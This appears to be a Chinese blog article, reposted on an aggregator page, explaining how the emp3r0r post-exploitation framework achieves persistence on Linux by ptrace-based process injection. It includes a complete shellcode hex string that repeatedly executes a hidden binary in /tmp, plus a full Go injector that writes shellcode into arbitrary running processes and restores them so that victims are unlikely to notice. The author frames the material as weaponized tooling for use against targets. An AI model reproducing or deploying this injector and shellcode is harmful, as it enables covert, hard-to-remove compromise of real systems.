emp3r0r - Linux下的进程注入和持久化(初级)
背景
本文所介紹的內(nèi)容是emp3r0r框架持久化模塊的一部分。
Linux有一個獨特的東西叫procfs,把“Everything is a file”貫徹到了極致。從/proc/pid/maps我們能查看進(jìn)程的內(nèi)存地址分布,然后在/proc/pid/mem我們可以讀取或者修改它的內(nèi)存。
所以理論上我們只需要一個dd和procfs即可將代碼注入一個進(jìn)程,也確實有人寫了相關(guān)的工具。
但既然Linux提供了一個接口(只有這么一個,不像你們Windows),我們在通常情況下直接調(diào)用它就可以了。
ptrace
對,這唯一的接口就是ptrace。
這東西是用來操作進(jìn)程的,大多用于調(diào)試器,它提供的功能足夠我們完成本文所需的shellcode注入以及進(jìn)程恢復(fù)了。
我們的思路是:
attach到目標(biāo)進(jìn)程,將其接管
把shellcode寫到RIP指向的位置,在此之前先備份原有的代碼
恢復(fù)進(jìn)程運行
shellcode執(zhí)行到中斷,trap#SIGTRAP)并被我們接管
我們把原先的代碼寫回去,寄存器也都恢復(fù)
繼續(xù)原進(jìn)程的執(zhí)行
進(jìn)程的恢復(fù)
看了上面的思路,這個似乎并不難。但別忘了,你的shellcode搞亂的不只是這段text和寄存器,它至少還搞亂了原進(jìn)程的的stack,而且shellcode可能會一直堵塞主線程,這樣就永遠(yuǎn)也不會回到原進(jìn)程的執(zhí)行流程了。
而且有的shellcode會直接execve從而干脆利落地讓原進(jìn)程成為虛無,你除了再execve回去基本上別無它法了。
所以,我直接從原進(jìn)程fork出一個子進(jìn)程,在子進(jìn)程里執(zhí)行我的shellcode,順手恢復(fù)原進(jìn)程,對進(jìn)程的影響幾乎可以忽略不計。
菜雞的第一份shellcode
本菜雞從未寫過shellcode,是msfvenom的忠實用戶。
我尋思著第一份shellcode就不寫爛大街的hello world了,直接寫個能用的豈不美哉。
于是在duckduckgo和某開源社區(qū)大佬們的指導(dǎo)下,我逐漸明白了該怎么寫,武器化之后,就有了這篇文章。
怎么寫
啥語言
正常情況下都是用匯編來寫,不過C也可以。某大佬推薦的是這樣:
這樣寫顯而易見的好處是,我們不用費心去操作棧了,數(shù)據(jù)可以由C來安排好。
本文使用純匯編來做,這種方法以后有機會再嘗試了。
編輯器
我當(dāng)然直接用vim了,你們隨便找個熟悉的文本編輯器都可以。
這里用的是nasm匯編器,使用Intel語法。
nasm
寫shellcode的話,不用section .data是最好的,省得多出來一堆\0字節(jié)。
大體上一個針對x86_64的nasm匯編代碼長這樣:
BITS 64 global _startsection .text _start:...your code...global _start類似于main,是給linker用的。BITS 64代表這是64位匯編。
hex string
上面寫的東西要轉(zhuǎn)成raw bytes才能用。首先你需要將它們匯編:
? nasm yourshellcode.asm -o shellcode.bin然后把這個二進(jìn)制文件轉(zhuǎn)換成hex string:
? xxd -i shellcode.bin | grep 0x | tr -d '[:space:]' | tr -d ',' | sed 's/0x/\\x/g'\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x48\x83\xf8\x00\x7f\x5e\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x48\x83\xf8\x00\x74\x2c\x48\x31\xff\x48\x89\xc7\x48\x31\xf6\x48\x31\xd2\x4d\x31\xd2\x48\x31\xc0\xb0\x3d\x0f\x05\x48\x31\xc0\xb0\x23\x6a\x0a\x6a\x14\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe2\xc4\x48\x31\xd2\x52\x48\x31\xc0\x48\xbf\x2f\x2f\x74\x6d\x70\x2f\x2f\x65\x57\x54\x5f\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x99\x0f\x05\xcd\x03如果你不需要這種C style的hex string,也可以這樣:
? rax2 -S < shellcode.bin4831c04831ffb0390f054883f8007f5e4831c04831ffb0390f054883f800742c4831ff4889c74831f64831d24d31d24831c0b03d0f054831c0b0236a0a6a144889e74831f64831d20f05e2c44831d2524831c048bf2f2f746d702f2f6557545f4889e752574889e66a3b58990f05cd03其中rax2是radare2的一部分。
syscall
syscall NR
什么是syscall。
為啥叫NR?我查到的是Numeric Reference,聽起來有點道理。
簡單來說就是代表某個Linux API的數(shù)字了,你調(diào)用這個syscall的時候需要告訴Linux對應(yīng)的編號。
這里有一個全面的Linux syscall列表供查閱。
需要注意的是不同架構(gòu)下,syscall是不同的。我們這里只關(guān)心x86_64下的syscall,畢竟主流Linux主機幾乎全都是這個架構(gòu)(說到這里我要吐槽一下,為什么至今Linux shellcode相關(guān)教程還在拿x86匯編教學(xué)?)。
調(diào)用約定
調(diào)用一個syscall的過程跟你調(diào)用別的什么函數(shù)沒區(qū)別,你設(shè)置好參數(shù),call一下就完事了,它還會把返回值給你。
那么用戶怎么知道往哪放參數(shù),從哪取返回值呢?離開了編譯器的幫助,你得搞清楚它究竟是怎么工作的。
上圖很清楚地展示了你該怎么使用這些syscall。
對于x86_64架構(gòu)的Linux而言,syscall NR也就是編號,需要放到RAX寄存器,調(diào)用完返回值也在這里面,然后參數(shù)依次放到RDI,RSI,RDX,R10…
需要留意,有的參數(shù)是指針類型的,你傳入的必須是一個地址而不是數(shù)值本身。
寫一個guardian
本示例是emp3r0r的一部分,之后更新的版本可以在這里找到。
看完了上面的介紹,是不是覺得很簡單呢?讓我們來寫個guardian程序試試吧。
這段shellcode就是前面所提到思路的具體實現(xiàn)。
我在寫這段東西的時候,遇到了不少小問題,對于初學(xué)者來說可能是會頭疼好久的問題,簡單列一下:
-
需要指針參數(shù)的,先push入棧,再傳RSP
-
push的操作數(shù)超過4字節(jié)長,需要借助寄存器來push
-
記得給字符串或者字符串?dāng)?shù)組加\0終止
-
label不能用保留字
以上問題均針對nasm匯編器,如果你沒遇到,就不要告訴我了。
還有些東西說一下:
-
為什么還要wait子進(jìn)程,因為不這樣的話子進(jìn)程退出之后就變成zombie,在進(jìn)程列表里太顯眼了。
-
為什么fork兩次,因為我要execve,在當(dāng)前進(jìn)程干的話,當(dāng)前進(jìn)程就無了。
-
為什么sleep,因為太頻繁了會把CPU搞飛起。
-
為什么int 0x3,因為這樣是告訴父進(jìn)程請調(diào)試我,是shellcode暫停,從而恢復(fù)原進(jìn)程的關(guān)鍵
把shellcode武器化
shellcode注入
就像開頭所提到的,本文涉及的技術(shù)是emp3r0r后滲透框架的一部分。
emp3r0r會將本文的shellcode自動注入一些常見的進(jìn)程:
在不影響原進(jìn)程的情況下,我們同時在目標(biāo)主機的業(yè)務(wù)進(jìn)程里啟動了一大堆守護(hù)進(jìn)程,除非受害者拿gdb去看,一般來說是很難察覺異常的。
如果你有興致,也完全可以寫一個別的shellcode,實現(xiàn)更多好玩的功能。
所以我們怎么注入?按照前面ptrace的方法,具體實現(xiàn)如下(之后的更新在這里查看):
// Injector inject shellcode to arbitrary running process // target process will be restored after shellcode has done its job func Injector(shellcode *string, pid int) error {// format*shellcode = strings.Replace(*shellcode, ",", "", -1)*shellcode = strings.Replace(*shellcode, "0x", "", -1)*shellcode = strings.Replace(*shellcode, "\\x", "", -1)// decode hex shellcode stringsc, err := hex.DecodeString(*shellcode)if err != nil {return fmt.Errorf("Decode shellcode: %v", err)}// inject to an existing process or start a new one// check /proc/sys/kernel/yama/ptrace_scope if you cant inject to existing processesif pid == 0 {// start a child process to inject shellcode intosec := strconv.Itoa(RandInt(10, 30))child := exec.Command("sleep", sec)child.SysProcAttr = &syscall.SysProcAttr{Ptrace: true}err = child.Start()if err != nil {return fmt.Errorf("Start `sleep %s`: %v", sec, err)}pid = child.Process.Pid// attacherr = child.Wait() // TRAP the childif err != nil {log.Printf("child process wait: %v", err)}log.Printf("Injector (%d): attached to child process (%d)", os.Getpid(), pid)} else {// attach to an existing processproc, err := os.FindProcess(pid)if err != nil {return fmt.Errorf("%d does not exist: %v", pid, err)}pid = proc.Pid// https://github.com/golang/go/issues/43685runtime.LockOSThread()defer runtime.UnlockOSThread()err = syscall.PtraceAttach(pid)if err != nil {return fmt.Errorf("ptrace attach: %v", err)}_, err = proc.Wait()if err != nil {return fmt.Errorf("Wait %d: %v", pid, err)}log.Printf("Injector (%d): attached to %d", os.Getpid(), pid)}// read RIPorigRegs := &syscall.PtraceRegs{}err = syscall.PtraceGetRegs(pid, origRegs)if err != nil {return fmt.Errorf("my pid is %d, reading regs from %d: %v", os.Getpid(), pid, err)}origRip := origRegs.Riplog.Printf("Injector: got RIP (0x%x) of %d", origRip, pid)// save current code for restoring laterorigCode := make([]byte, len(sc))n, err := syscall.PtracePeekText(pid, uintptr(origRip), origCode)if err != nil {return fmt.Errorf("PEEK: 0x%x", origRip)}log.Printf("Peeked %d bytes of original code: %x at RIP (0x%x)", n, origCode, origRip)// write shellcode to .text section, where RIP is pointing atdata := scn, err = syscall.PtracePokeText(pid, uintptr(origRip), data)if err != nil {return fmt.Errorf("POKE_TEXT at 0x%x %d: %v", uintptr(origRip), pid, err)}log.Printf("Injected %d bytes at RIP (0x%x)", n, origRip)// peek: see if shellcode has got injectedpeekWord := make([]byte, len(data))n, err = syscall.PtracePeekText(pid, uintptr(origRip), peekWord)if err != nil {return fmt.Errorf("PEEK: 0x%x", origRip)}log.Printf("Peeked %d bytes of shellcode: %x at RIP (0x%x)", n, peekWord, origRip)// continue and waiterr = syscall.PtraceCont(pid, 0)if err != nil {return fmt.Errorf("Continue: %v", err)}var ws syscall.WaitStatus_, err = syscall.Wait4(pid, &ws, 0, nil)if err != nil {return fmt.Errorf("continue: wait4: %v", err)}// what happened to our child?switch {case ws.Continued():return nilcase ws.CoreDump():err = syscall.PtraceGetRegs(pid, origRegs)if err != nil {return fmt.Errorf("read regs from %d: %v", pid, err)}return fmt.Errorf("continue: core dumped: RIP at 0x%x", origRegs.Rip)case ws.Exited():return nilcase ws.Signaled():err = syscall.PtraceGetRegs(pid, origRegs)if err != nil {return fmt.Errorf("read regs from %d: %v", pid, err)}return fmt.Errorf("continue: signaled (%s): RIP at 0x%x", ws.Signal(), origRegs.Rip)case ws.Stopped():stoppedRegs := &syscall.PtraceRegs{}err = syscall.PtraceGetRegs(pid, stoppedRegs)if err != nil {return fmt.Errorf("read regs from %d: %v", pid, err)}log.Printf("Continue: stopped (%s): RIP at 0x%x", ws.StopSignal().String(), stoppedRegs.Rip)// restore registerserr = syscall.PtraceSetRegs(pid, origRegs)if err != nil {return fmt.Errorf("Restoring process: set regs: %v", err)}// breakpoint hit, restore the processn, err = syscall.PtracePokeText(pid, uintptr(origRip), origCode)if err != nil {return fmt.Errorf("POKE_TEXT at 0x%x %d: %v", uintptr(origRip), pid, err)}log.Printf("Restored %d bytes at origRip (0x%x)", n, origRip)// let it runerr = syscall.PtraceDetach(pid)if err != nil {return fmt.Errorf("Continue detach: %v", err)}log.Printf("%d will continue to run", pid)return nildefault:err = syscall.PtraceGetRegs(pid, origRegs)if err != nil {return fmt.Errorf("read regs from %d: %v", pid, err)}log.Printf("continue: RIP at 0x%x", origRegs.Rip)}return nil }這可能是為數(shù)不多的純go實現(xiàn)的ptrace進(jìn)程注入工具之一。
主要坑點有:
-
Go的syscall wrapper基本上是從來沒有文檔的
-
ptrace的tracer必須來自同一線程,這是Linux(或者說整個unix)設(shè)計的問題
-
因為Go底層設(shè)計的原因,每次調(diào)用syscall wrapper,都是一個新線程,所以我研究了半天,靠runtime.LockOSThread()解決了這個問題
然后具體原理就很簡單了,鑒于Go的syscall wrapper實際上把PTRACE_PEEKTEXT和PTRACE_POKETEXT限制的每次只能操作一個word給包裝成可操作任意長度數(shù)據(jù),這個實現(xiàn)甚至比C原生實現(xiàn)還要簡單。
關(guān)鍵點在于備份和恢復(fù)。記得我的shellcode寫了int 0x3吧?這里就是wait到int 0x3導(dǎo)致的trap的狀態(tài),進(jìn)行介入,并恢復(fù)原進(jìn)程。
在持久化方面的應(yīng)用
我目前把這個技術(shù)用在持久化方面。雖說不是真正意義上的持久化,但很多機器是萬年不重啟的,注入到一個幾乎不會重啟的進(jìn)程里面,既不會被輕易發(fā)現(xiàn),又很難被干掉。
以下是注入到一個簡單demo程序的示例:
/** This program is used to check shellcode injection* */#include <stdio.h> #include <time.h> #include <unistd.h>int main(int argc, char* argv[]) {time_t rawtime;struct tm* timeinfo;while (1) {sleep(1);time(&rawtime);timeinfo = localtime(&rawtime);printf("%s: sleeping\n", asctime(timeinfo));}return 0; }shellcode成功注入,原進(jìn)程繼續(xù)運行,只是多了個守護(hù)emp3r0r的任務(wù)。
?
總結(jié)
以上是生活随笔為你收集整理的emp3r0r - Linux下的进程注入和持久化(初级)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [NOIp2017提高组]奶酪(BFS)
- 下一篇: Python三目运算符